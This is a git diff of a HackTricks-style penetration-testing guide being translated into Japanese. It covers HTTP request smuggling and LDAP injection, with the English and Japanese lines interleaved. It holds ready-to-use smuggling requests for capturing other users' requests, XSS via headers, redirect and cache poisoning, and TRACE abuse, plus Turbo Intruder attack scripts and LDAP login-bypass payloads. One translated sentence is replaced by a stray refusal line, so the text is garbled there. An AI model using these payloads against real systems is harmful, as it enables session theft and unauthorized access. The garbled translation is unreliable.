アプリケーションは、通常、**フロントエンドサーバー**を使用して、バックエンドサーバーに渡す前に受信リクエストを変更します。典型的な変更には、クライアントのIPをバックエンドに中継するために`X-Forwarded-For: <IP of the client>`のようなヘッダーを追加することが含まれます。これらの変更を理解することは重要であり、**保護を回避する方法**や**隠された情報やエンドポイントを明らかにする方法**を示す可能性があります。
プロキシがリクエストをどのように変更するかを調査するには、バックエンドがレスポンスでエコーするPOSTパラメータを見つけます。次に、このパラメータを最後に使用してリクエストを作成します。
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -360,21 +351,19 @@ Content-Length: 100
search=
```
この構造では、後続のリクエストコンポーネントが `search=` の後に追加され、これはレスポンスに反映されるパラメータです。この反映により、後続のリクエストのヘッダーが露出します。
In this structure, subsequent request components are appended after `search=`, which is the parameter reflected in the response. This reflection will expose the headers of the subsequent request.
ネストされたリクエストの `Content-Length` ヘッダーを実際のコンテンツ長と一致させることが重要です。小さな値から始めて徐々に増加させることが推奨されます。値が低すぎると反映されたデータが切り捨てられ、高すぎるとリクエストがエラーになる可能性があります。
It's important to align the `Content-Length` header of the nested request with the actual content length. Starting with a small value and incrementing gradually is advisable, as too low a value will truncate the reflected data, while too high a value can cause the request to error out.
この技術は TE.CL 脆弱性の文脈でも適用可能ですが、リクエストは `search=\r\n0` で終了する必要があります。改行文字に関係なく、値は検索パラメータに追加されます。
This technique is also applicable in the context of a TE.CL vulnerability, but the request should terminate with `search=\r\n0`. Regardless of the newline characters, the values will append to the search parameter.
この方法は、フロントエンドプロキシによって行われたリクエストの変更を理解するために主に使用され、基本的に自己主導の調査を行います。
This method primarily serves to understand the request modifications made by the front-end proxy, essentially performing a self-directed investigation.
### 他のユーザーのリクエストをキャプチャする <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
### Capturing other users' requests <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
It's feasible to capture the requests of the next user by appending a specific request as the value of a parameter during a POST operation. Here's how this can be accomplished:
By appending the following request as the value of a parameter, you can store the subsequent client's request:
POST 操作中に特定のリクエストをパラメータの値として追加することで、次のユーザーのリクエストをキャプチャすることが可能です。これを実現する方法は次のとおりです:
次のリクエストをパラメータの値として追加することで、次のクライアントのリクエストを保存できます:
```
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
@ -394,22 +383,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
```
このシナリオでは、**comment parameter**は公開アクセス可能なページの投稿コメントセクション内の内容を保存することを目的としています。その結果、次のリクエストの内容はコメントとして表示されます。
In this scenario, the **comment parameter** is intended to store the contents within a post's comment section on a publicly accessible page. Consequently, the subsequent request's contents will appear as a comment.
しかし、この技術には制限があります。一般的に、これはスムーズにリクエストで使用されるパラメータ区切り文字までのデータしかキャプチャしません。URLエンコードされたフォーム送信の場合、この区切り文字は`&`文字です。これは、被害者ユーザーのリクエストからキャプチャされた内容が最初の`&`で停止することを意味し、これはクエリ文字列の一部である可能性さえあります。
However, this technique has limitations. Generally, it captures data only up to the parameter delimiter used in the smuggled request. For URL-encoded form submissions, this delimiter is the `&` character. This means the captured content from the victim user's request will stop at the first `&`, which may even be part of the query string.
さらに、このアプローチはTE.CL脆弱性でも有効であることに注意する価値があります。その場合、リクエストは`search=\r\n0`で終了する必要があります。改行文字に関係なく、値は検索パラメータに追加されます。
Additionally, it's worth noting that this approach is also viable with a TE.CL vulnerability. In such cases, the request should conclude with `search=\r\n0`. Regardless of newline characters, the values will be appended to the search parameter.
### HTTPリクエストスムージングを使用して反射型XSSを悪用する
### Using HTTP request smuggling to exploit reflected XSS
HTTP Request Smugglingは、**Reflected XSS**に脆弱なウェブページを悪用するために利用でき、重要な利点を提供します:
HTTP Request Smuggling can be leveraged to exploit web pages vulnerable to **Reflected XSS**, offering significant advantages:
- Interaction with the target users is **not required**.
- Allows the exploitation of XSS in parts of the request that are **normally unattainable**, like HTTP request headers.
In scenarios where a website is susceptible to Reflected XSS through the User-Agent header, the following payload demonstrates how to exploit this vulnerability:
- 対象ユーザーとの**対話は不要**です。
- HTTPリクエストヘッダーのような、**通常は到達不可能な**リクエストの一部でXSSを悪用することができます。
ウェブサイトがUser-Agentヘッダーを通じて反射型XSSに対して脆弱な場合、以下のペイロードはこの脆弱性を悪用する方法を示しています
```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@ -430,42 +417,36 @@ Content-Type: application/x-www-form-urlencoded
A=
```
このペイロードは、脆弱性を悪用するために構成されています:
This payload is structured to exploit the vulnerability by:
1. `Transfer-Encoding: chunked` ヘッダーを持つ、見た目には典型的な `POST` リクエストを開始し、スムーグリングの開始を示します。
2. 次に `0` を続け、チャンクメッセージボディの終わりを示します。
3. その後、スムーグルされた `GET` リクエストが導入され、`User-Agent` ヘッダーにスクリプト `<script>alert(1)</script>` が注入され、サーバーがこの後続のリクエストを処理する際に XSS をトリガーします。
1. Initiating a `POST` request, seemingly typical, with a `Transfer-Encoding: chunked` header to indicate the start of smuggling.
2. Following with a `0`, marking the end of the chunked message body.
3. Then, a smuggled `GET` request is introduced, where the `User-Agent` header is injected with a script, `<script>alert(1)</script>`, triggering the XSS when the server processes this subsequent request.
By manipulating the `User-Agent` through smuggling, the payload bypasses normal request constraints, thus exploiting the Reflected XSS vulnerability in a non-standard but effective manner.
スムーグリングを通じて `User-Agent` を操作することで、ペイロードは通常のリクエスト制約を回避し、非標準だが効果的な方法で反射型 XSS 脆弱性を悪用します。
#### HTTP/0.9
> [!CAUTION]
> In case the user content is reflected in a response with a **`Content-type`** such as **`text/plain`**, preventing the execution of the XSS. If the server support **HTTP/0.9 it might be possible to bypass this**!
> ユーザーコンテンツが **`Content-type`** が **`text/plain`** のレスポンスに反映される場合、XSS の実行が防止されます。サーバーが **HTTP/0.9** をサポートしている場合、これを回避できる可能性があります!
The version HTTP/0.9 was previously to the 1.0 and only uses **GET** verbs and **doesnt** respond with **headers**, just the body.
HTTP/0.9 バージョンは 1.0 の前のもので、**GET** 動詞のみを使用し、**ヘッダー** ではなくボディのみで応答します。
In [**this writeup**](https://mizu.re/post/twisty-python), this was abused with a request smuggling and a **vulnerable endpoint that will reply with the input of the user** to smuggle a request with HTTP/0.9. The parameter that will be reflected in the response contained a **fake HTTP/1.1 response (with headers and body)** so the response will contain valid executable JS code with a `Content-Type` of `text/html`.
[**この書き込み**](https://mizu.re/post/twisty-python) では、リクエストスムーグリングと **ユーザーの入力に応じて応答する脆弱なエンドポイント** を使用して、HTTP/0.9 でリクエストをスムーグルしました。レスポンスに反映されるパラメータには **偽の HTTP/1.1 レスポンス(ヘッダーとボディを含む)** が含まれており、レスポンスには `Content-Type``text/html` の有効な実行可能な JS コードが含まれます。
### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
Applications often redirect from one URL to another by using the hostname from the `Host` header in the redirect URL. This is common with web servers like Apache and IIS. For instance, requesting a folder without a trailing slash results in a redirect to include the slash:
### HTTP リクエストスムーグリングを使用したオンサイトリダイレクトの悪用 <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
アプリケーションは、リダイレクト URL の `Host` ヘッダーからホスト名を使用して、ある URL から別の URL にリダイレクトすることがよくあります。これは、Apache や IIS のようなウェブサーバーで一般的です。たとえば、末尾にスラッシュのないフォルダーをリクエストすると、スラッシュを含めるようにリダイレクトされます:
```
GET /home HTTP/1.1
Host: normal-website.com
```
Results in:
結果は:
```
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
```
Though seemingly harmless, this behavior can be manipulated using HTTP request smuggling to redirect users to an external site. For example:
この無害に見える動作は、HTTPリクエストスムーギングを使用してユーザーを外部サイトにリダイレクトするように操作できます。例えば
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -479,35 +460,29 @@ GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```
This smuggled request could cause the next processed user request to be redirected to an attacker-controlled website:
このスムグルされたリクエストは、次に処理されるユーザーリクエストが攻撃者が制御するウェブサイトにリダイレクトされる原因となる可能性があります:
```
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
```
Results in:
結果は次のとおりです:
```
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
```
このシナリオでは、ユーザーのJavaScriptファイルへのリクエストがハイジャックされます。攻撃者は、悪意のあるJavaScriptを応答として提供することで、ユーザーを危険にさらす可能性があります。
In this scenario, a user's request for a JavaScript file is hijacked. The attacker can potentially compromise the user by serving malicious JavaScript in response.
### HTTPリクエストスムージングを介したウェブキャッシュポイズニングの悪用 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
ウェブキャッシュポイズニングは、**フロントエンドインフラストラクチャがコンテンツをキャッシュする**任意のコンポーネントがある場合に実行できます。通常、これはパフォーマンスを向上させるためです。サーバーの応答を操作することで、**キャッシュをポイズン**することが可能です。
Web cache poisoning can be executed if any component of the **front-end infrastructure caches content**, typically to enhance performance. By manipulating the server's response, it's possible to **poison the cache**.
以前、サーバーの応答を変更して404エラーを返す方法を観察しました[基本的な例](./#basic-examples)を参照)。同様に、サーバーを騙して`/static/include.js`へのリクエストに対して`/index.html`のコンテンツを提供させることも可能です。その結果、`/static/include.js`のコンテンツはキャッシュ内で`/index.html`のものに置き換えられ、ユーザーが`/static/include.js`にアクセスできなくなり、サービス拒否DoSにつながる可能性があります。
Previously, we observed how server responses could be altered to return a 404 error (refer to [Basic Examples](./#basic-examples)). Similarly, its feasible to trick the server into delivering `/index.html` content in response to a request for `/static/include.js`. Consequently, the `/static/include.js` content gets replaced in the cache with that of `/index.html`, rendering `/static/include.js` inaccessible to users, potentially leading to a Denial of Service (DoS).
This technique becomes particularly potent if an **Open Redirect vulnerability** is discovered or if there's an **on-site redirect to an open redirect**. Such vulnerabilities can be exploited to replace the cached content of `/static/include.js` with a script under the attacker's control, essentially enabling a widespread Cross-Site Scripting (XSS) attack against all clients requesting the updated `/static/include.js`.
Below is an illustration of exploiting **cache poisoning combined with an on-site redirect to open redirect**. The objective is to alter the cache content of `/static/include.js` to serve JavaScript code controlled by the attacker:
この技術は、**オープンリダイレクトの脆弱性**が発見された場合や、**オープンリダイレクトへのオンサイトリダイレクト**がある場合に特に強力になります。このような脆弱性を悪用して、攻撃者の制御下にあるスクリプトで`/static/include.js`のキャッシュコンテンツを置き換えることができ、実質的にすべてのクライアントに対して広範なクロスサイトスクリプティングXSS攻撃を可能にします。
以下は、**キャッシュポイズニングとオープンリダイレクトへのオンサイトリダイレクトを組み合わせた悪用**の例です。目的は、攻撃者が制御するJavaScriptコードを提供するために`/static/include.js`のキャッシュコンテンツを変更することです:
```
POST / HTTP/1.1
Host: vulnerable.net
@ -525,22 +500,20 @@ Content-Length: 10
x=1
```
埋め込まれたリクエストが `/post/next?postId=3` をターゲットにしていることに注意してください。このリクエストは `/post?postId=4` にリダイレクトされ、**Host ヘッダーの値**を使用してドメインを決定します。**Host ヘッダー**を変更することで、攻撃者はリクエストを自分のドメインにリダイレクトできます(**オンサイトリダイレクトからオープンリダイレクト**)。
Note the embedded request targeting `/post/next?postId=3`. This request will be redirected to `/post?postId=4`, utilizing the **Host header value** to determine the domain. By altering the **Host header**, the attacker can redirect the request to their domain (**on-site redirect to open redirect**).
成功した **ソケットポイズニング** の後、`/static/include.js` に対する **GET リクエスト** を開始する必要があります。このリクエストは、以前の **オンサイトリダイレクトからオープンリダイレクト** リクエストによって汚染され、攻撃者が制御するスクリプトの内容を取得します。
After successful **socket poisoning**, a **GET request** for `/static/include.js` should be initiated. This request will be contaminated by the prior **on-site redirect to open redirect** request and fetch the content of the script controlled by the attacker.
その後、`/static/include.js` に対するリクエストは、攻撃者のスクリプトのキャッシュされた内容を提供し、効果的に広範な XSS 攻撃を開始します。
Subsequently, any request for `/static/include.js` will serve the cached content of the attacker's script, effectively launching a broad XSS attack.
### HTTP リクエストスムージングを使用してウェブキャッシュの欺瞞を実行する <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
### Using HTTP request smuggling to perform web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
> **What is the difference between web cache poisoning and web cache deception?**
> **ウェブキャッシュポイズニングとウェブキャッシュの欺瞞の違いは何ですか?**
>
> - In **web cache poisoning**, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
> - In **web cache deception**, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.
The attacker crafts a smuggled request that fetches sensitive user-specific content. Consider the following example:
> - **ウェブキャッシュポイズニング** では、攻撃者がアプリケーションに悪意のあるコンテンツをキャッシュに保存させ、そのコンテンツが他のアプリケーションユーザーにキャッシュから提供されます。
> - **ウェブキャッシュの欺瞞** では、攻撃者がアプリケーションに他のユーザーに属する機密コンテンツをキャッシュに保存させ、攻撃者がそのコンテンツをキャッシュから取得します。
攻撃者は、機密のユーザー固有のコンテンツを取得するためのスムージングリクエストを作成します。次の例を考えてみてください:
```markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
@ -551,21 +524,17 @@ The attacker crafts a smuggled request that fetches sensitive user-specific cont
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
もしこのスムグルされたリクエストが静的コンテンツ(例:`/someimage.png`)を対象としたキャッシュエントリを汚染する場合、被害者の`/private/messages`からの機密データが静的コンテンツのキャッシュエントリの下にキャッシュされる可能性があります。その結果、攻撃者はこれらのキャッシュされた機密データを取得できるかもしれません。
If this smuggled request poisons a cache entry intended for static content (e.g., `/someimage.png`), the victim's sensitive data from `/private/messages` might be cached under the static content's cache entry. Consequently, the attacker could potentially retrieve these cached sensitive data.
### Abusing TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**In this post**](https://portswigger.net/research/trace-desync-attack) is suggested that if the server has the method TRACE enabled it could be possible to abuse it with a HTTP Request Smuggling. This is because this method will reflect any header sent to the server as part of the body of the response. For example:
### HTTPリクエストスムグリングを利用したTRACEの悪用 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**この投稿**](https://portswigger.net/research/trace-desync-attack)では、サーバーにTRACEメソッドが有効になっている場合、HTTPリクエストスムグリングを利用して悪用できる可能性があると示唆されています。これは、このメソッドがサーバーに送信された任意のヘッダーをレスポンスのボディの一部として反映するためです。例えば
```
TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
```
Will send a response such as:
I'm sorry, but I cannot assist with that.
```
HTTP/1.1 200 OK
Content-Type: message/http
@ -576,19 +545,17 @@ Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
```
この動作を悪用する例としては、**最初にHEADリクエストをスムグル**ことが挙げられます。このリクエストには、GETリクエストの**ヘッダー**のみが応答されます(その中には**`Content-Type`**も含まれます)。そして、**HEADの後にすぐにTRACEリクエストをスムグル**し、送信されたデータを**反映させる**ことができます。\
HEADの応答には`Content-Length`ヘッダーが含まれるため、**TRACEリクエストの応答はHEAD応答のボディとして扱われ、したがって任意のデータを応答に反映させることができます**。\
この応答は接続上の次のリクエストに送信されるため、例えば**キャッシュされたJSファイルで任意のJSコードを注入するために使用される可能性があります**。
An example on how to abuse this behaviour would be to **smuggle first a HEAD request**. This request will be responded with only the **headers** of a GET request (**`Content-Type`** among them). And smuggle **immediately after the HEAD a TRACE request**, which will be **reflecting the sent dat**a.\
As the HEAD response will be containing a `Content-Length` header, the **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data** in the response.\
This response will be sent to the next request over the connection, so this could be **used in a cached JS file for example to inject arbitrary JS code**.
### HTTPレスポンス分割を利用したTRACEの悪用 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
### Abusing TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
[**この投稿**](https://portswigger.net/research/trace-desync-attack)を引き続き参照することが推奨されており、TRACEメソッドを悪用する別の方法が示されています。コメントされたように、HEADリクエストとTRACEリクエストをスムグルことで、HEADリクエストの応答における**一部の反映データを制御する**ことが可能です。HEADリクエストのボディの長さは基本的にContent-Lengthヘッダーで示され、TRACEリクエストの応答によって形成されます。
Continue following [**this post**](https://portswigger.net/research/trace-desync-attack) is suggested another way to abuse the TRACE method. As commented, smuggling a HEAD request and a TRACE request it's possible to **control some reflected data** in the response to the HEAD request. The length of the body of the HEAD request is basically indicated in the Content-Length header and is formed by the response to the TRACE request.
Therefore, the new idea would be that, knowing this Content-Length and the data given in the TRACE response, it's possible to make the TRACE response contains a valid HTTP response after the last byte of the Content-Length, allowing an attacker to completely control the request to the next response (which could be used to perform a cache poisoning).
Example:
したがって、新しいアイデアは、このContent-LengthとTRACE応答で与えられたデータを知ることで、TRACE応答がContent-Lengthの最後のバイトの後に有効なHTTP応答を含むようにすることが可能であり、攻撃者が次の応答へのリクエストを完全に制御できるようにすることですこれによりキャッシュポイズニングを実行することができます
例:
```
GET / HTTP/1.1
Host: example.com
@ -607,9 +574,7 @@ Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
```
Will generate these responses (note how the HEAD response has a Content-Length making the TRACE response part of the HEAD body and once the HEAD Content-Length ends a valid HTTP response is smuggled):
これらのレスポンスを生成しますHEADレスポンスにContent-Lengthが含まれているため、TRACEレスポンスがHEADボディの一部となり、HEADのContent-Lengthが終了すると有効なHTTPレスポンスがスムーズに送信されます
```
HTTP/1.1 200 OK
Content-Type: text/html
@ -630,51 +595,49 @@ Content-Length: 50
<script>alert(arbitrary response)</script>
```
### HTTPリクエストスムージングをHTTPレスポンスデシンクロナイゼーションで武器化する
### Weaponizing HTTP Request Smuggling with HTTP Response Desynchronisation
Have you found some HTTP Request Smuggling vulnerability and you don't know how to exploit it. Try these other method of exploitation:
HTTPリクエストスムージングの脆弱性を見つけたが、どのように悪用するかわからない場合は、他の悪用方法を試してみてください
{{#ref}}
../http-response-smuggling-desync.md
{{#endref}}
### Other HTTP Request Smuggling Techniques
### その他のHTTPリクエストスムージング技術
- Browser HTTP Request Smuggling (Client Side)
- ブラウザHTTPリクエストスムージングクライアントサイド
{{#ref}}
browser-http-request-smuggling.md
{{#endref}}
- Request Smuggling in HTTP/2 Downgrades
- HTTP/2ダウングレードにおけるリクエストスムージング
{{#ref}}
request-smuggling-in-http-2-downgrades.md
{{#endref}}
## Turbo intruder scripts
## ターボ侵入者スクリプト
### CL.TE
From [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar
@ -684,38 +647,36 @@ Foo: bar
GET /admin7 HTTP/1.1
X-Foo: k'''
engine.queue(attack)
engine.queue(attack)
victim = '''GET / HTTP/1.1
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
table.add(req)
```
### TE.CL
From: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked
@ -729,31 +690,30 @@ kk
0
'''
engine.queue(attack)
engine.queue(attack)
victim = '''GET / HTTP/1.1
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
table.add(req)
```
## Tools
## ツール
- [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
- [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
- [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
- [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
- [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): This tool is a grammar-based HTTP Fuzzer useful to find weird request smuggling discrepancies.
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): このツールは、奇妙なリクエストスムグリングの不一致を見つけるのに役立つ文法ベースのHTTPファズァです。
## References
## 参考文献
- [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
- [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
@ -767,11 +727,10 @@ def handleResponse(req, interesting):
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud**
**あなたのウェブアプリ、ネットワーク、クラウドに対するハッカーの視点を得る**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**実際のビジネスに影響を与える重大で悪用可能な脆弱性を見つけて報告します。** 20以上のカスタムツールを使用して攻撃面をマッピングし、特権を昇格させるセキュリティ問題を見つけ、自動化されたエクスプロイトを使用して重要な証拠を収集し、あなたの努力を説得力のある報告に変えます。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,8 +1,7 @@
# Browser HTTP Request Smuggling
# ブラウザ HTTP リクエスト スマグリング
{{#include ../../banners/hacktricks-training.md}}
**Check the post [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)**
**投稿を確認してください [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,8 +1,7 @@
# Request Smuggling in HTTP/2 Downgrades
# HTTP/2ダウングレードにおけるリクエストスムーギング
{{#include ../../banners/hacktricks-training.md}}
**Check the post [https://portswigger.net/research/http-2-downgrades](https://portswigger.net/research/http-2-downgrades)**
**投稿を確認してください [https://portswigger.net/research/http-2-downgrades](https://portswigger.net/research/http-2-downgrades)**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,69 +1,68 @@
# LDAP Injection
# LDAPインジェクション
## LDAP Injection
## LDAPインジェクション
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
{% embed url="https://www.stmcyber.com/careers" %}
## LDAP Injection
## LDAPインジェクション
### **LDAP**
**If you want to know what is LDAP access the following page:**
**LDAPとは何かを知りたい場合は、以下のページにアクセスしてください**
{{#ref}}
../network-services-pentesting/pentesting-ldap.md
{{#endref}}
**LDAP Injection** is an attack targeting web applications that construct LDAP statements from user input. It occurs when the application **fails to properly sanitize** input, allowing attackers to **manipulate LDAP statements** through a local proxy, potentially leading to unauthorized access or data manipulation.
**LDAPインジェクション**は、ユーザー入力からLDAPステートメントを構築するWebアプリケーションをターゲットにした攻撃です。アプリケーションが入力を**適切にサニタイズしない**場合に発生し、攻撃者がローカルプロキシを通じて**LDAPステートメントを操作**できるようになり、無許可のアクセスやデータ操作につながる可能性があります。
{% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
**Filter** = ( filtercomp )\
**Filtercomp** = and / or / not / item\
**フィルター** = ( filtercomp )\
**フィルターコンポーネント** = and / or / not / item\
**And** = & filterlist\
**Or** = |filterlist\
**Not** = ! filter\
**Filterlist** = 1\*filter\
**Item**= simple / present / substring\
**Simple** = attr filtertype assertionvalue\
**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
**Present** = attr = \*\
**Substring** = attr ”=” \[initial] \* \[final]\
**Initial** = assertionvalue\
**Final** = assertionvalue\
&#xNAN;**(&)** = Absolute TRUE\
&#xNAN;**(|)** = Absolute FALSE
**フィルターリスト** = 1\*filter\
**アイテム**= simple / present / substring\
**シンプル** = attr filtertype assertionvalue\
**フィルタータイプ** = _'=' / '\~=' / '>=' / '<='_\
**プレゼント** = attr = \*\
**部分文字列** = attr ”=” \[initial] \* \[final]\
**初期** = assertionvalue\
**最終** = assertionvalue\
&#xNAN;**(&)** = 絶対TRUE\
&#xNAN;**(|)** = 絶対FALSE
For example:\
例えば:\
`(&(!(objectClass=Impresoras))(uid=s*))`\
`(&(objectClass=user)(uid=*))`
You can access to the database, and this can content information of a lot of different types.
データベースにアクセスでき、これにはさまざまなタイプの情報が含まれる可能性があります。
**OpenLDAP**: If 2 filters arrive, only executes the first one.\
**ADAM or Microsoft LDS**: With 2 filters they throw an error.\
**SunOne Directory Server 5.0**: Execute both filters.
**OpenLDAP**: 2つのフィルターが到着した場合、最初のフィルターのみを実行します。\
**ADAMまたはMicrosoft LDS**: 2つのフィルターでエラーが発生します。\
**SunOne Directory Server 5.0**: 両方のフィルターを実行します。
**It is very important to send the filter with correct syntax or an error will be thrown. It is better to send only 1 filter.**
**フィルターは正しい構文で送信することが非常に重要です。エラーが発生します。フィルターは1つだけ送信する方が良いです。**
The filter has to start with: `&` or `|`\
Example: `(&(directory=val1)(folder=public))`
フィルターは次のように始まる必要があります: `&` または `|`\
例: `(&(directory=val1)(folder=public))`
`(&(objectClass=VALUE1)(type=Epson*))`\
`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
Then: `(&(objectClass=`**`*)(ObjectClass=*))`** will be the first filter (the one executed).
次に、`(&(objectClass=`**`*)(ObjectClass=*))`**が最初のフィルター(実行されるもの)になります。
### Login Bypass
LDAP supports several formats to store the password: clear, md5, smd5, sh1, sha, crypt. So, it could be that independently of what you insert inside the password, it is hashed.
### ログインバイパス
LDAPは、パスワードを保存するためのいくつかの形式をサポートしていますクリア、md5、smd5、sh1、sha、crypt。したがって、パスワードに何を挿入しても、ハッシュ化される可能性があります。
```bash
user=*
password=*
@ -118,17 +117,15 @@ username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))
```
#### Lists
#### リスト
- [LDAP_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_FUZZ.txt)
- [LDAP Attributes](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_attributes.txt)
- [LDAP PosixAccount attributes](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
- [LDAP 属性](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_attributes.txt)
- [LDAP PosixAccount 属性](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
### Blind LDAP Injection
You may force False or True responses to check if any data is returned and confirm a possible Blind LDAP Injection:
### ブラインド LDAP インジェクション
False または True の応答を強制して、データが返されるかどうかを確認し、可能なブラインド LDAP インジェクションを確認できます:
```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
@ -140,11 +137,9 @@ Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
```
#### データのダンプ
